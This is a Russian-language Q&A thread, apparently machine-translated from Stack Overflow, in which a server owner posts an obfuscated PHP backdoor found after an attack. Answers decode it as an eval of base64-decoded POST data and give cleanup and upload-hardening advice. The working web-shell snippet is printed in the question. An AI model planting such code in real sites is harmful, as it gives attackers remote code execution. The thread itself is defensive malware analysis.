2015-03-28 6 views
20

На моем сервере недавно был атакован, и я пытался исследовать, как и почему это происходит.Попытка расшифровать вирус

Я нашел очень похожий шаблон в вирусных файлах, который выглядит примерно так: насколько я могу сказать, он пытается запустить определенный файл?

Кто-нибудь видел что-то подобное и как его интерпретировать? Это просто захват отдельных символов на основе строки $sF?

<?php 

$sF = "PCT4BA6ODSE_"; 
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); 
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3']; 
if (isset($s22)) { 
    eval($s21($s22)); 
}?> 
+5

, если вы заинтересованы вирус PHP/Agent.NEH троян – Martin

+1

Это интересно. Спасибо. Знаете ли вы где-нибудь еще, что я могу найти информацию об этом/где-нибудь еще, возможно, он заразился? –

+1

Ха, я вижу, как ты узнал. –

ответ

27

переменной $s21 равно base64_decode и $s22 равна $_POST['nd335c3'].

Всякий раз, когда на ваш сервер подается запрос POST, он выполняет любую команду в $_POST['nd335c3'];, что, как вы можете ожидать, очень опасно.

Я очень сомневаюсь, что ваш сервер был взломан, но вместо этого использовался сценарий вашего сайта. Есть ли где-нибудь на вашем сайте, где пользователи могут загружать файлы? Я видел много таких вещей, как WordPress с плохо закодированными плагинами.

Решение проблемы,

Чтобы устранить эту проблему, сначала удалите этот файл или фрагмент кода. Вы можете отключить свой сайт и поместить его в режим обслуживания, пока не сможете выполнить поиск и проверить, что все другие файлы не были изменены.

После того, как сайт будет выполнять резервное копирование и запуск, зарегистрируйте запросы, сделанные там, где был взломанный файл, или запросы, содержащие эту же переменную POST.

Как только у вас есть пользователь, который отправляет данные на эксплойт, вы можете проверить все остальные файлы журналов и сравнить их с тем же IP-адресом и агентом пользователя. Это далеко, но, надеюсь, они используют только один компьютер для атаки. Из журналов вы можете увидеть, что именно они посетили, чтобы выполнить атаку и загрузить удаленный файл.

Предотвращение этого в будущем

  1. Не устанавливайте код вы найдете в Интернете на сайте, если вы не доверяете застройщику и уверены, что это полностью безопасно и знать, что они выпускают обновления.
  2. Установите свой веб-сервер, чтобы он не имел доступа к записи, кроме каталога загрузки, и /tmp
  3. Проверьте все загруженные файлы, чтобы убедиться, что они именно то, что вы ожидаете от них.
  4. Не разрешайте PHP запускать файлы, к которым загружены файлы, загружать файлы как статические прямые файлы. Таким образом, если файл был загружен в обход проверок вашего файла, он все равно не может навредить.
+1

Это установка для Drupal. Я не могу думать о конкретном месте, где пользователи могут загружать файлы, но я пока проверю и отключу любую такую ​​функциональность. –

+1

Вы знаете, я могу просто сказать, что файл с 'GIF89a 'имеет тип' image/gif', и вы были бы довольны этим. Никогда не проверяйте миметик! Вы хотите загрузить изображение? Используйте функцию 'getimagesize()' и проверьте, возвращает ли она 'false'. Другие файлы? Проверьте функцию finfo_file() '(http://php.net/manual/en/function.finfo-file.php). –

+1

Я действительно думаю, что инфекция, возможно, произошла год назад, когда я все еще был на общедоступном хостинге, и показал только симптомы, так как я перешел на VPS с собственным почтовым сервером. –

8

Просто следуйте contatination базу кода на $ С.Ф. строку, и вы увидите, что

$21 = "base64_decode"; 
$22 = "_POST['nd335c3']"; 

и остальная часть кода, в основном проверить, если _POST [ «nd335c3»] существует, и если да выполнить Код PHP: base64_decode(_POST['nd335c3']);

что делать дальше, я не знаю, потому что вы не отобразили весь код вируса.

Надеюсь, что это поможет.

4

Очень хороший вирус. Вышеприведенные ответы, похоже, объясняют достаточно хорошо, но, возможно, теперь вы можете понять PHP лучше. Вы можете видеть, как PHP довольно дружелюбен к вирусам, но это одна из вещей, которая делает ее такой универсальной и такой классной, которая может использоваться для многих вещей.
чуть менее вредоносный пример кода запутывания:

<?php 

$v1 = "sartvuhi_"; 
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8]; 
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8]; 
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0]; 

echo $v2 . $v3 . $v4; 
?>